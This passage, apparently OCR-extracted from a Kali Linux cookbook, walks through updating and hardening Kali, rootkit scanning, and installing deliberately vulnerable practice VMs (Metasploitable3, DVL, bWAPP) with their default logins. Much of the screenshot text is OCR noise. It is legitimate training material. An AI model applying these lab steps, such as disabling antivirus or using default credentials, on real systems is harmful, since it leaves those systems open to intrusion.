capabilities, making them more effective for your needs.

Getting ready...

You need the following to complete this recipe:

e  Your Kali Linux VM started

e Astableinternet connection


https://www.kali.org/docs/arm/

24 Bootstrapping Your Cyber Arsenal

How to do it...

1. From the main Kali GUI, open a terminal window. Select the Terminal icon on the screen.

[l Kali-linux-20253-virtualbox-amd64 [Running] - Oracle VirtualBox

File Machine View Input Devices Help

S EmPoF 23 4|

ft

Home £ kali@kali: ~

Session Actions Edit View Help

File System

Trash

Figure 1.22 - Kali terminal window

2. In the terminal window, you will enter a few commands. Each step could take several
minutes, depending on your computer and internet connection. Please be patient. Write

the first command to update the local package index, as shown here:

sudo apt update



Chapter 1 25

Tip

\/V The sudo command (short for superuser do) will require the password user
for the Kali user. sudo will only require passwords for the first use or after

an elapsed period of time.

3. Use the following command to update installed packages to their latest version while

replacing or removing old ones:

sudo apt full-upgrade -y

4. During the upgrade, you will likely be given the choice to restart services. Select <Yes>.

File Actions Edit View Help

{ Configuring libc6:amd64 |

There are services installed on your system which need to be
restarted when certain libraries, such as libpam, libc, and libssl,
are upgraded. Since these restarts may cause interruptions of service
for the system, you will normally be prompted on each upgrade for the
list of services you wish to restart. You can choose this option to
avoid being prompted; instead, all necessary restarts will be done
for you automatically so you can avoid being asked questions on each
library upgrade.

Restart services during package upgrades without asking?

[am=] <No>

Figure 1.23 - Kali full-upgrade restart services
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5. During the upgrade, you will likely be shown the following notification regarding Post-
greSQL. Select <Ok>.

kali@kali: -

File Actions Edit View Help

Pack

1 Configuring postgresql-common |

Obsolete major version 16

The PostgreSQL version 16 is obsolete, but the server or client
packages are still installed. Please install the latest packages
(postgresql-17 and postgresql-client-17) and upgrade the existing
clusters with pg_upgradecluster (see manpage).

Please be aware that the installation of postgresql-17 will
automatically create a default cluster 17/main. If you want to
upgrade the 16/main cluster, you need to remove the already existing
17 cluster (pg_dropcluster --stop 17 main, see manpage for details).

The old server and client packages are no longer supported. After the

existing clusters are upgraded, the postgresql-16 and
postgresql-client-16 packages should be removed.

Figure 1.24 - Kali upgrade PostgreSQL obsolete
6. Once complete, reboot the host using the following command:

sudo shutdown -r now

7. Once the reboot is complete, log in and open the terminal window as you did in Step 1.

8. Use the following two commands at once to update the package index again and do any

other needed upgrades:
sudo apt update && sudo apt upgrade -y
Tip

4
\Q/‘ The preceding command should be used often to check for and install any

new updates.

9. Finally, clean any packages no longer needed with the following command:

sudo apt autoremove -y
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10. Now close the terminal window by typing the following:

How it works...
Advanced Package Tool (APT) is the default package manager for Debian-based Linux distri-

butions such as Kali or Ubuntu. We updated the list of available packages to ensure we have the
most up-to-date package library. Due to this being a new install, starting with a full upgrade is
essential to ensure the most up-to-date system. After rebooting, we redo the process with just
the upgrade command to do another check, and lastly, we finish by cleaning up old packages

that are no longer needed.

There is more...

APTis a critical utility as it handles the installation, removal, and upgrade of most of the packages
and tools you may want to use. You can review additional information at https: //www.kali.org/

blog/advanced-package-management-in-kali-linux/.

Installation of Kali metapackages

In this recipe, we will go over the process of installing Kali metapackages. Metapackages are a
convenient and efficient way to install groups of related tools and software based on your specific
needs. A metapackage will also install all the tools related to that particular package. This meth-
od benefits Kali Linux users as it allows them to quickly and easily set up their environments for
specialized tasks. For example, there are metapackages for different types of penetration testing,
such as kali-linux-default for a standard set of tools, kali-1linux-sdr for software-defined

radio tools, and kali-1linux-wireless for wireless network tools.

Using metapackages, you can optimize your installation to include just the tools you need with-
out manually installing each one, saving you time and ensuring you have a set of tools for the

required application.

Getting ready...

You need the following to complete this recipe:

e  Your Kali Linux VM started

e Astableinternet connection


https://www.kali.org/blog/advanced-package-management-in-kali-linux/
https://www.kali.org/blog/advanced-package-management-in-kali-linux/

28 Bootstrapping Your Cyber Arsenal

How to do it...

1. From the GUI, select the Kali menu, then Settings, then Kali Tweaks.

Tip
\/‘/’ Kali Tweaks can be initiated from the terminal by entering this command:

2. From the Kali Tweaks main menu, choose Metapackages and click on <Select>.

| Main Menu |

Configure the system for extra security
subsets of tools for particular needs
Configure network repositories for APT sources
Shell & Prompt Configure the shell and command prompt
Virtualization Additional configurations for Virtual Machines

cquits

Figure 1.25 - Kali Tweaks

3. Itwill ask for sudo password for kali — enter the password.

4. Youwill be presented with a list of metapackages. Select 802.11, bluetooth, windows-re-

sources, and kali-linux-large, and then select <Apply>.

| Metapackages |
[ ] rfid Kali's RFID tools T
[ ] sdr Kali's SDR tools
[*] tople Kali's top 10 tools
[ 1 voip Kali's VoIP tools
[*] windows-resources Kali's windows resources
[*] kali-linux-default Kali's default toolset
[ 1 kali-linux-everything Every tool in Kali Linux
[*] kali-linux-firmware Kali's default firmware files

[*] kali-linux-headless Kali's default headless tools
i = environments for learning and practising on
: tended default tool selection

<Apply> <Back>

Figure 1.26 - Kali Metapackages selection
5.  Youwill receive a verification window displaying the list of packages to be installed. Select
<OK> to continue.

6. If your system requires upgrading, you will be informed and will have the option to skip

or continue with the upgrade. Select <OK> for this example.
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Once complete, you will see a message screen: > Press Enter to continue ...

> Press Enter to continue...[]

Figure 1.27 - Press Enter to continue

7. Upon pressing Enter, you will be returned to the main menu. Here, select <Quit>.

| Main Menu [

Hardening Configure the system for extra security

Metapackages Install specific subsets of tools for particular needs
Network Repositories Configure network repositories for APT sources

Shell & Prompt Configure the shell and command prompt

irtualization Additional configurations for Virtual Machines

<Select>

Figure 1.28 - Kali Tweaks Quit

How it works...

Kali Tweaks is just a GUI for using the APT program directly from the terminal. If you watch it
closely, it simply invokes the appropriate apt commands based on the settings of your system.
The example demonstrates what would happen if the system were not entirely up to date when

invoking the commands.

There is more...

Kali metapackages are an alternative to installing tools one at a time and will install groups of tools
based on your needs. As seen, there are many options for you to explore and experiment with. Ad-

ditional information can be found athttps://www.kali.org/docs/general-use/metapackages/.

Securing Kali Linux

In this recipe, you will go over the steps necessary to ensure the security of your Kali Linux environ-
ment. Securing a Kali Linux system is crucial to prevent counter-hacking efforts, where malicious
actors attempt to exploit vulnerabilities within your system to retaliate or gain access to sensitive
data. Without proper security measures, attackers could use your system as a launching pad for

further attacks or compromise your ongoing operations, rendering your security efforts ineffective.


https://www.kali.org/docs/general-use/metapackages/
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Another critical reason to secure Kali Linux is to prevent reverse hacking, where attackers attempt
to identify and exploit the identity or location of the user conducting the penetration tests. A poorly
secured system could inadvertently leak identifying information such as IP addresses, usernames,
or physical locations, undermining the user’s anonymity and exposing them to legal or personal
risks. Additionally, unsecured systems are vulnerable to data exfiltration, unauthorized access,
and the installation of backdoors. Implementing best practices such as regular updates, strong
authentication mechanisms, encrypted communications, and using virtual environments can

significantly mitigate these risks.

Getting ready...

You need the following to complete this recipe:

e  Your Kali Linux VM started

e Astableinternet connection

How to do it...
1. From the main Kali GUJ, open a terminal window. Select the Terminal icon from the screen.

@ i 2025 3-virtualbox-amd64 [R

File Machine View Input Devices Help

B omm P o]

ft

Home il kali@kaliz ~
Session Actions Edit View Help

Trash

Figure 1.29 - Kali terminal window
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2. The mostimportant thing to do to secure Kali Linux is to keep it up to date. You can refer
to the prior recipe, Updating and upgrading Kali Linux. However, to quickly do it, enter

the following command:

sudo apt update && sudo apt full-upgrade -y

3. Enter the password if required for the sudo command and follow and acknowledge any

prompts according to your installation.

4. Once complete, reboot the VM using the following:

sudo shutdown -r now

5. Oncerebooted, login and open the terminal window again.

6. Change the password for the Kali user to something a bit more obscure using the follow-

ing command:

ES o]

7. Enter the current password and the new password, and retype the new password. Once

successful, you will get the following response:

passwd: password updated successfully

8. Next, let’slock down the SSH server. If you do not need the SSH server, you can remove it

by entering the following command:

sudo apt remove openssh-server

Otherwise, ignore this step and move on to the next one.

Tip

\@/ Only perform this step if you do not plan on remotely accessing this Kali

Linux system via SSH.

9. Ifyouremoved the OpenSSH server in the previous step, you may skip this step. Otherwise,

rotate the SSH keys of the server using the following:

cd /etc/ssh

mkdir orig_keys

sudo mv ssh_host_* orig_keys/

sudo dpkg-reconfigure openssh-server
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Tip

To start the OpenSSH server, use the following command:

sudo systemctl start ssh

\E/ This will start the SSH service, but it will not be maintained after reboot. To

maintain it after reboots, you must also enter this:

sudo systemctl enable ssh

How it works...

In this recipe, we ensured the three most important steps in ensuring a secure environment. We
updated the system, which must be done regularly to ensure security; we changed the default
password and used a complex password. Lastly, we rotated our SSH keys, ensuring that we were

protected against man-in-the-middle attacks.

There is more...

More information on securing Kali Linux can be found in the forums: https: //forums.kali.org/

Checking for rootkits and other exploits

In this recipe, we will validate our system against rootkits or other exploits. It’s crucial to check
for rootkits and other exploits to ensure security for your Kali Linux installation. Rootkits can
undermine system integrity by altering the core of operating systems, making it difficult to detect
their presence and other malicious activities. Malicious software can degrade system performance,

causing crashes, slowdowns, and other issues that affect the operating system.

Exploits can create backdoors, allowing attackers to infiltrate the host and spread malware to
other connected devices, threatening overall network security. Furthermore, they can enable
the attacker to gain personally identifiable information, such as who you are and where you
are located, no matter what steps you take to protect your anonymity. Identifying and dealing
with rootkits and exploits promptly also prevents attackers from using compromised systems
as a launchpad for further attacks within your network. You can maintain a secure and reliable

system by taking these steps.


https://forums.kali.org/
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Getting ready...

We need the following to complete this recipe:

e  Your Kali Linux VM started

e Astableinternet connection

How to do it...
1. From the main Kali GUJ, open a terminal window. Select the Terminal icon from the screen.

2. Run the following to install chkrootkit and run it.

sudo apt update

sudo apt install chkrootkit

sudo chkrootkit

3. Record the output to provide you with a baseline for future checks. Review the output,
look for anything suspicious or any indications of compromise or warnings, and take

action as needed.

kali@kali: ~

found
t infected
t found

Figure 1.30 - Run chkrootkit
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Tip
To create a file from the output of the command, you can append the fol-

lowing:

/ >> ~/20241116_chkrootkit. txt
£

The full command would look like this:

sudo chkrootkit >> ~/20241116 chkrootkit.txt

This will create a file in your home directory with that name that you can

keep for comparison in the future.

4. Now install rkhunter and run it as shown to check for rootkits and other exploits.

sudo apt install rkhunter

5. Make the following changes to the configuration files to allow updating.

sudo nano /etc/rkhunter.conf

6. From within the nano editor, find and change the following variables:

MIRRORS_MODE=0
UPDATE_MIRRORS=1

WEB_CMD=""
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7. Press Ctrl + X and Y to save.

Session Actions Edit View Help
GNU nano 8.6

Bl Execute
B Justify

Figure 1.31 - Nano save buffer

8. Now update rkhunter using the following:

sudo rkhunter --update
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Session Actions Edit View Help

Figure 1.32 - rkhunter update

9. Now that the update is complete, run it to check for issues.

sudo rkhunter --check

Session Actions Edit View Help

stem boot <

r local host name

r system startup files
ystem up files for malw

v
o
o

unt checks

g for hidden f

to continue]

rootkits

Applications checks
All checks skipped

checks took: 3 minutes and 26 seconds

Figure 1.33 - rkhunter check
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10. Once complete, you can use the nano editor to explore the log file and analyze any warn-

ings using the following.

sudo nano /var/log/rkhunter.log

11. Now close the terminal window.

How it works...

Both rkhunter and chkrootkit are popular tools for testing a Linux system’s integrity against
exploits and rootkits. We installed each tool, ensured it was up to date, ran it, and investigated

the output.

There is more...

You can get more information about each tool on their respective websites: https://rkhunter.

sourceforge.net/ and https://www.chkrootkit.org/.

Installing Metasploitable3 Linux and Windows VMs

In this recipe, you will add machines that you can use for targets by installing Metaspoloitable3
VMs. Metasploitable3 Linux and Windows machines are vulnerable VMs designed for penetration
testing and security research. Built by Rapid7, Metasploitable3 has outdated software, miscon-

figurations, and security vulnerabilities.

Itis a practical environment for users to explore and exploit various security flaws and is effective
for vulnerability scanning, exploitation, privilege escalation, and post-exploitation activities. It
also provides an ideal platform to practice attack vectors and tools such as Kali Linux. Using this

VM helps you identify and exploit weaknesses in Linux and Windows operating systems.

Getting ready...

You need the following to complete this recipe:

e  VirtualBox shut down
e Astableinternet connection
e Temporarily disabled antivirus

e 80 GB of free disk space


https://rkhunter.sourceforge.net/
https://rkhunter.sourceforge.net/
https://www.chkrootkit.org/
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How to do it...

1. Openyour web browser and navigate to https://developer.hashicorp.com/vagrant/

install?product_intent=vagrant.
2. Find the appropriate download for your host and download Vagrant.

Vagrant

Install Vagrant 249 ates)

macOS

Package manager

brew tap hashicorp/tap
brew hashicorp/tap/hashicorp-vagrant

Binary download

AMD6&4

Windows

Binary download

AMD6&4

Figure 1.34 - Vagrant download

3. Once the file has been downloaded, close your web browser. Navigate to the Vagrant file

you downloaded and double-click it to begin installation.
Accept the license agreement and click Install.
Once the installation is completed, click Finish.

You will then be asked to reboot — select Yes to reboot the host.

N v ok

Once the host computer is back up, log in and open the command prompt.

Tip
\E/ A quick way to open a command window is to type command or cmd into

the search window.


https://developer.hashicorp.com/vagrant/install?product_intent=vagrant
https://developer.hashicorp.com/vagrant/install?product_intent=vagrant
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8. Navigate to your default VM location from within the command window. In this

example,it’'s on the D: drive. From there, we must add a new workplace directory, naming

itmetasploitable3-workplace, and cd into it, as shown.

d:

cd kali_cb_vms

mkdir metasploitable3-workplace

cd metasploitable3-workplace

9. Now, download the Vagrant file, which will be used to create our VMs using the following.

powershell Invoke-WebRequest -Uri "https://raw.githubusercontent.
com/rapid7/metasploitable3/master/Vagrantfile” -OutFile

"Vagrantfile"

10. Once the Vagrant file has been downloaded, you can bring the VMs online with the fol-

lowing command:

b1.
b1
ub1l:
b1.

ubl4e4:

1b

ubl4e4:

ub1.
ub1.

|-=> ubl4@4: M

is up to date...

Figure 1.35 - Vagrant up
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The process will take a significant amount of time, and there will be some warnings gen-

erated due to configuring a host-only network before installing Metasploitable3.

11. Once complete, launch VirtualBox by double-clicking the icon on your desktop.

12. You will notice two new VMs from VirtualBox Manager with names beginning with

metasploitable3.

If either of those VMs is running, you will want to shut them down. The easiest way is to

select the VM and right-click and select Stop, and click Shutdown.

File

|-J

=

o
I

V3 Oracle VirtualBox Manager — [m] x

Machine  Help

0 QJw G U P

Mew Open  Settings Discard  Show

ﬂj kali-linux-2025.3-virtualbox-amd64 m vetas @ G @m0
i © powered Off e
[ General =) preview
B Metasploitable3-ub1404 Name: Metasploitable3-ub1404
f = Running Onerating Sustem:  Ubuntu (64-bit)
3 Settings... Ctrl+5
;ﬂ! Tmphitahlg}r Clane.. Ctel+Q 2048 ME
(] @ Powered Off Move. 2
Hard Disk, Optical
@ Exportto OC.. Nested Paging, PAE/NX, KVM Paravirtualization
Bemave...
Move to G
love to Groyp : o
& Show roller VBowV/GA
p Server Port: 5049
U0 pauee Disabled

S Reset

[ save State

Discard Saved State... able3-ub1404-disk001.vmak (Normal, 39.06 GB)
Refresh @ Power Off
Show in Explorer

(A Creste Shortcut an Desktop

8% sont el PRO/1000 MT Desktop (NAT)
| PRO/1000 MT Desktop (Host-only Adapter, "VirtualBox Host-Only Ethernet Adapter #2')
O search Ctrl+F
UsE
Disabled

[ Shared folders

None
& Description

None

Figure 1.36 - Stop VMs

13. When asked if you really want to do this, click Shutdown.

14. Clean up the host-only network by selecting the options icon on tools and clicking Net-

work.
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15.

16.

File Machine Network Help

ﬂ Home

Ij Machines Cre el Properties

Host-only Metworks MNAT Metworks Cloud MNetw
bBxtensions

Media Only Ethernet Adapter

y Ethernet Adapter #2
Network

Figure 1.37 - VirtualBox networking

Now, if you see two VirtualBox host-only Ethernet adapters, then remove the second one

that has the suffix #2 by selecting it and clicking Remove.
Now, to clean up each VM, we select the VM and click on the Network icon.

Check each network adapter. The only one that should be enabled is Adapter 1, and it
should be connected to the host-only Ethernet adapter. When finished, click OK. Do this
for each of the Metasploitable3 VMs.

8 Oracle o e - u}
File Machine Help
o e @ 2
|_J New Open Settings Discord Start
() FER) taliinx-2025 3 vietualbox-amdoa miows & (@ = O
i) -
2 © povered Off
) = General = Preview
S e Metsplotiabies ubtaos Neme: Metasplitable3-ub404 e —
& , © Powered Off Operating System: Ubuntu (64-bit)
[®] system o
7] S metasploitable3-workplace_win2K8_1761546297310_59729 Bace Memory: 2048 B Metasploitable3-
@ powered off Gy 2 ub1404
= Boot Order. _Hard Disk, Optical
Search settings
(W] General Network
Adepter] | Adapter2 | Adapterd | Adspterd
Sytem
V] Enable Network Adapter
] ozpy Stchedto vostony Adsper -
@) stonge Name | VituaBox Host-Only Etnemet Adsper
. Adapter Type | Intel PRO/1000 MT Desktop (825406M)
@p audio prer e e
Promiscuous Mode | Deny
et
I Network MAC Address (080027425179 ® ||
@ Serial Ports | Virtual Cable Connected
& s
Serial Ports
[ shored Folders Portl | Pot2 | Pot3 | Potd
[ serinteroce Enable Serial ot

Figure 1.38 - VM network settings
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17. Now, you may launch each VM and try logging into each. For the Linux workstation, the
username and password are vagrant. For the Windows machine, both the administrator

and Vagrant user’s password are vagrant.

1)

t\, Note

Remember not to expose vulnerable machines directly to the internet.

18. Once complete, shut down the VM as before by using the Shutdown option.

How it works...
Vagrantis an open source software product for building and maintaining virtualized development
environments. Vagrant was used to deploy the pre-built Metasploitable3 VMs within VirtualBox

quickly and straightforwardly.

There is more...

Vagrantis a useful tool, and  would recommend reviewing the website for additional information

on useful options as you continue with the lab:

https://developer.hashicorp.com/vagrant/intro

There is plenty of useful information on the Metasploitable3 GitHub pages located at https://
github.com/rapid7/metasploitable3?tab=readme-ov-file and https://github.com/rapid7/
metasploitable3, and specificinformation about the vulnerabilities can be found on the wiki at

https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities.

Installing Damn Vulnerable Linux (DVL)

In this recipe, we will walk through the steps to install Damn Vulnerable Linux (DVL) 1.5. DVL
is an older, insecure Linux distribution designed as a training ground for learning about cyber-
security, ethical hacking, and system vulnerabilities. Unlike standard Linux distributions, DVL s
loaded with outdated, misconfigured, and vulnerable software. This makes it an ideal platform
for practicing various attack techniques and learning how to secure systems against them. The
vulnerabilities range across multiple domains, including web application flaws, buffer overflows,

SQL injection, and weak cryptography.

Although this is an older image, it is still a valuable example of how to load a live ISO image in
your hacking lab. Some images will come in this form, so it’s essential to understand how to

work with live images.


https://developer.hashicorp.com/vagrant/intro

https://github.com/rapid7/metasploitable3?tab=readme-ov-file
https://github.com/rapid7/metasploitable3?tab=readme-ov-file
https://github.com/rapid7/metasploitable3
https://github.com/rapid7/metasploitable3
https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities
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Getting ready...

You need the following to complete this recipe:

e  VirtualBox interface up and running

e Astableinternet connection

How to do it...
1. From your web browser, navigate to https://www.VulnHub.com/entry/damn-vulnerable-
linux-dvl-15-infectious-disease,1/.
2. Scroll down and select DVL_1.5_Infectious_Disease.iso.

3. Once the download completes, navigate to your default VM directory and create a folder
called 1S0s.

4. Move the DVL image into the ISOs folder.

5. From VirtualBox Manager, select Add, name your VM DVL 1.5, and adjust the ISO Image
to point to the file you just downloaded and moved. Under Type, select Linux, for Subtype,

select Linux 2.4, and for Version, select Linux 2.4 (64-bit).
T3 New Virtual Machine . = O *

| -~ Virtual machine name and gJ)erating system

VM Name |DVI 1.5 @
VM Folder D:\Virtual Machines ot
‘ 150 Image D DvVirtual Machines\ISOs\DVL_1.5_Infectious_Disease.iso |
05 Edition
-X (¥
05 | Linux = E.h
(s
05 Distribution | Oracle Linux -
0S5 Version | Oracle Linux (64-bit) -

Proceed with Unattended Installation

2 Set up unattended guest OS installation
> Specify virtual hardware

> Specify virtual hard disk

Help Finich Cancel

Figure 1.39 - Add DVL VM


https://www.VulnHub.com/entry/damn-vulnerable-linux-dvl-15-infectious-disease,1/
https://www.VulnHub.com/entry/damn-vulnerable-linux-dvl-15-infectious-disease,1/
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6. Move to Hard Disk, select Do Not Add a Virtual Hard Disk, and click Finish.

7. While the DVL 1.5 VM is selected, click Network.

13 Oract

Eile Machine Help

9 Gdgp & D
] v omn s s sum

() FER) el 20253 virtualbox-amdsa
4 © powered off
o)
ﬂf Metasplitable3-ub1404

& © powered Off

a ‘metasploitable3-workplace_win2k8_1761546207310_59729

@ Powered off

o T
= General

ovis
Opeating ystem:  OraceLinux (6451
& system

Base Memory: 2048 MB
Boot Order:  Floppy, Optical, Hard Disk

ol
B0 oviis
K © rovercaort

Acceleration:  Nested Paging, PAE/NX, KVM Paravirtuslization

=

) pisplay

Video Memory: 16MB

Graphics Controllr VMSVGA

Remote Desktop Server: Disabled

Recording: Dissbled

Storage

Controller: IDE

DE Prmary Device ;. [OpicalDrve] DVL_1.5 Infectous Disesseizo (157 GB)
Controller SATA

0 Audio

Host Driver: Default
Controller._ICHACST.

Adapter 1: Intel PRO/1000 MT Desktop (NAT)
5 use

USB Controller: OHC, EHCI
Device Fiters: 0 (0 active)

(] Shared folders
None

® Description
None

| ® preview

DVI1.5

Figure 1.40 - DVL VM networking

8. From the DVL 1.5 | Settings screen, for Adapter 1, choose Host-only Adapter in the At-
tached to dropdown and click OK.

@ Serial Ports
ﬁ? USB

l___l Shared Folders
El User Interface

Network

Adapter 1 Adapter 2 Adapter 3

V| Enable Network Adapter
|£ttached to | Host-only Adapter =

Name | VirtualBox Host-Only Ethernet Adapter

Adapter 4

Adapter Type | Intel PRO/1000 MT Desktop (82340EM)
Promiscuous Maode | Deny
MAC Address 080027491238

V| Virtual Cable Connected

Serial Ports

Port 1 Port 2 Port 3 Port 4

Enable Serial Port

| QK | Cancel

Figure 1.41 - DVL host-only network

e m} X

Search settings &

Hel
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9. Now start the VM and log in with the username root and the password toor.

texhash: Done.

Welcome to Damn Vulnerable Linux Strychnine

Never run this distribution in any production environment?
IITAC is not responsible for any losses of any kind!
Commercial usage needs a specific license!

The system is up and ruming now.

Login as "root"”, with password "toor", both without quotes, lowercase.

After you login, try the following commands:

startx to run Xwindow system in VESA mode 10Z24x768 at ?5Hz (KDE)

£ lux to run Xuwindow system in VESA mode 10Z24x7?68 at ?5Hz (FluxBox)
xconf to autoconfigure your graphics card for better performance
ati to autoconfigure ati drivers (dounload ati.lzm required)
Other ands you may find useful (for experts onlyt):

configsavesconfigrestore ... to save and restore all filesystem changes
fileswap .... to create special file for swapping RAM to your harddisk

bt login: root
Passuord: seoee

bt

I'raining Environment for 1T-Security & IT-Anti-Security

Figure 1.42 - DVL login

10. When finished, you may power off the VM by typing the following:

.F

Tip
\@/ DVL running as a live image will not persist changes across reboots. You will always

be booting the system back to its original configuration.

How it works...

DVLis aliveimage that operates purely from an ISO image. In the manner we setit up, it operates
in anon-persistent way, which means every time you reboot the machine, you are presented with

the same starting position.

There is more...

Although DVL has been discontinued, there are still plenty of resources on the web if you choose

to explore this further.
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Installing and setting up bWAPP via bee-box

In this recipe, we will install another vulnerable target machine, called BWAPP — short for Buggy
Web Application. BWAPP is a deliberately insecure web application created to help professionals
learn about web vulnerabilities and security issues. BWAPP contains many vulnerabilities, in-
cluding those listed in the OWASP Top 10, making it a great tool for practicing and understanding

different types of web security threats within a secure learning platform.
The vulnerabilities in BWAPP are designed to mimic real-world scenarios, enabling pen testers

to simulate attacks and see the threats firsthand.

Getting ready...

You need the following to complete this recipe:

e  VirtualBox interface up and running

e Astableinternet connection

How to do it...
1. Inyour web browser, navigate to https://www.itsecgames.com/.

2. Click Download.

1

ah extremely Iaugﬂy web opp |

Bugs Download Talks & Training Blog

Figure 1.43 - BWAPP Download


https://www.itsecgames.com/
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3. Inthe Download section, select the download option for bee-box.

¥

on extremely buﬂgy web opp ! T

Bugs Dowtload Talks & Training Blog

/ Download /

You can download bWAPP from here.

Another possibility is to download bee-box, a custom Linux virtual machine pre-installed with bWAPP.
bee-box gives you several ways to hack and deface the bWAPP website. It's even possible to hack bee-box to get
root access... With bee-box you have the opportunity to explore all bWAPP vulnerabilities!

You can download bee-box from here.

Figure 1.44 - bee-box download

4. This will redirect you to SourceForge. Here, click on bee-box_v1.6.7z to download it.

7 Files

bWAPP Files

an extremely buggy web app !
Brought to you by:

Summary Files Reviews Support Code Discussion

Warning! Malware detected. Download at your own risk.

Getanemail whenthere'sanewversion | L m
of BWAPP nter your email a ress

EY

Home / bee-box

Name Modified % Size ¥ Downloads / Week

J Parent folder

b x_v1.6.7z 2014-11-02 12GB 445 M

® e

release_notes.txt 2014-11-02 1.9kB

README.txt 2014-09-27 832 Bytes 12 @

INSTALL.txt 2014-09-27 2.4KB 36
Totals: 4 Items 12GB 498

Figure 1.45 - SourceForge bee-box download
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5. Locate the file you just downloaded, right-click and select 7-Zip, and then Extract to
“bee-box_v1.6\’.
6. Open it from within the newly created folder and move the bee-box directory to your
default VM Location.
7. InVirtualBox Manager, select Add. Name your machine beebox and select Linux, Linux
2.4, and Linux 2.4 (64-bit) for type, subtype, and version, respectively.
15 New Virtual Machine o o . ) — ] *

~.~ Virtual machine name and operating system

VM Mame | beebox &
VM Folder D:Virtual Machines ot
‘ IS0 Image | <not selected» @
05 Edition
T ’ 05 | Linux -
0S5 Distribution | Linux 2.4 =
05 Version | Linux 2.4 (64-bit) -
Proceed with Unattended Installation

> Set up unattended guest OS installation
> Specify virtual hardware

> Specify virtual hard disk

Help Finish Cancel

Figure 1.46 - Bee-box VM name

8. Next, go to the Hard Disk section, select Specify virtual hard disk, and click on the folder

icon on the right to choose your bee-box vmdk files.
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Y3 New Virtual Machine — ] X
|
> Virtual machine name and gperating system
> Set up unattended guest OS installation

Pl Specify virtual hardware

| - Specify virtual hard disk |

Create a New Virtual Hard Disk

Hard Disk File Location and Size

D:Virtual Machines\beebox\beeboxvdi

Disk Size

4,00 GB
4.00 ME 2.00TE

Hard Disk File Type and Format

VDI (VirtualBox Disk Irmage) Pre-allocate Full Size

Split Disk Into 2 GB Parts

®) Use an Existing Virtual Hard Disk File

bee-box.wmdk (Mormal, 20.00 GB)

Create Virtual Machine Without a Virtual Hard Dizk

Help

Finish Cancel

Figure 1.47 - Bee-box - choose HD

9. On the Hard Disk Selector screen, choose Add, browse to the bee-box directory, choose

the bee-box.vmdk file, and attach it to the VM.

Hard Disk Selector

| Medium Selector

& (@

Add Refresh
MName = Virtual Size Actual Size
* Attached
kali-linux-2025.3-virtualbox-amdéd.vdi 80,09 GB 35.86 GB
metasploitable3-ub1404-disk001.wmdk 39.06 GB 5.73GB

metasploitable3-win2k8-disk001.wmdk 60.00 GB 13.26 GB
* Mot Attached

bee-boxwmdk 20,00 GB 4,66 GB

Figure 1.48 - Bee-box - add disk
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Tip
\G/‘ If the Use an Existing Virtual Hard Disk File selection did not change, you

may need to select the drop-down arrow on the right to find and change it.

10. Click Finish.

11. With bee-box vm selected, click on Network to open the settings screen. For Adapter 1,
choose Host-only Adapter in the Attached to dropdown and click OK.

= ]
Basic M Search settings B
E General Network
Adapter 2 Adapter 3 Adapter 4
System
V| Enable Network Adapter
D Dy Attached tnI Host-only Adapter =
Storage Name | VirtualBox Host-Only Ethernet Adapter -
Adapter Type | Intel PRO/1000 MT Desktop (82540EM) >
(D: Audio
Promiscuous Mode | Deny -
5l
WL MAC Address | 020027000829 =]
@ Serial Ports v Virtual Cable Connected
& USE
Serial Ports
lj Shared Folders Port1 Port 2 Port3 Part 4
lf‘ User Interface Enable Serial Port
| 0K | Cancel Help

Figure 1.49 - Bee-box host-only adapter

12. You can now start the VM.

13. You will be presented with the bee-box interface.

Tip

&

The default credentials are bee/bug (username/password).



Chapter 1 51

‘ 2 beebox [Running] - Oracle VirtualBox - o X
File Machine View Input Devices Help
| {3 Applications  places  system E@) gel Mon Oct 27, 8:56 AM _bee

= [

| W
- W

Lsecgames

=

IT security, ethical hacking, training and fun

www.itsecgames.com - info@itsecgames.com

——
Bow@o [® Right Ctr

Figure 1.50 - Bee-box interface

14. You can now close the bee-box VM.

How it works...

As BeeBox was initially developed for VMware, we had to use slightly different techniques to add
it to VirtualBox. This provided an example of how you may need to add other machines that do

not provide a native VirtualBox VM image.

There is more...

More information about bWAPP can be found on the following website: http: //www. itsecgames.

com/. There, you will find information about the specific vulnerabilities and a wealth of infor-

mation in the blog.


http://www.itsecgames.com/
http://www.itsecgames.com/
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Other test machines

In this recipe, you will go over finding other vulnerable machines to add to your list of targets to
practice against. One of my favorite resources for finding VMs to use in my labs is VulnHub. Vul-
nHub offers a vast library of intentionally vulnerable VMs, perfect for practicing and enhancing

cybersecurity skills. VulnHub also provides various VMs to match your proficiency level.

Each VM on VulnHub comes with unique challenges designed to simulate real-world scenarios in
controlled environments. Additionally, the community around VulnHub is incredibly supportive,

offering hints and write-ups to help users solve challenges and learn from each other.

Getting ready...

You need the following to complete this recipe:

e A webbrowser

e Astableinternet connection

How to do it...
1. From your web browser, open https://www.vulnhub.com/.

2. For this example, let’s search for broken web app and then select OWASP Broken Web
Applications Project 1.2.

VIRTUAL MACHINES HELP RESOURGES ABOUT CONTAGT US

VIRTUAL MACHINES ‘Dmkenweb app ‘ SINGLE SERIES ALL TIMELINE

SEARCH RESULT: BROKEN WEB APP (3 RESULTS)

Welcon

Congratulations!

If you are lost wif

GameOver: 1

OWASP Broken Web Applications @ i :
° digitalworld.local: snakeoil

Project: 1.2

44 Jun 2012 by Jovin Lobo

23 Aug 2021 by Donavan
3 AUG 2015 by OWASP

Figure 1.51 - VulnHub search


https://www.vulnhub.com/
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3.

4.

Once open, explore all the information provided, including the documentation and the

walk-throughs linked in the menu at the top right.

VIRTUAL MACHINES HELP RESOURCES ABOUT SUBMIT MACHINE CONTACTUS
Back I About Release | Download | Description | File information | Virtual Machine | Networking | Screenshot(s) | \,'-.’a\Kmruugn:sz
OWASP BROKEN WEB APPLICATIONS PROJECT: 1.2 vos
About Release Bacliliegcn)

Name: OWASP Broken Web Applications Project: 1.2

Date release: 3 Aug 2015

Author: OWASP

Series: OWASP Broken Web Applications Project

Web page: https://owasp.org/index.php/OWASP_Broken_Web_Applications_Project

Download Back to the Top

Please remember that VuinHub is a free community resource so we are unabie fo check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers
of running unknown Vs and our suggestions for “profecting yourself and your network. If you understand the risks, please downioad!

OWASP_Broken_Web_Apps_VM_1.2.7z (Size: 1.7 GB)
Download: http://sourceforge.net/projects/owaspbwalfiles/1.2/OWASP_Broken_Web_Apps_VM_1.2.7z/download
Download (Mirror): https://download.vulnhub.com/owaspbwa/OWASP_Broken_Web_Apps_VM_1.2.7z

Figure 1.52 - VulnHub explore

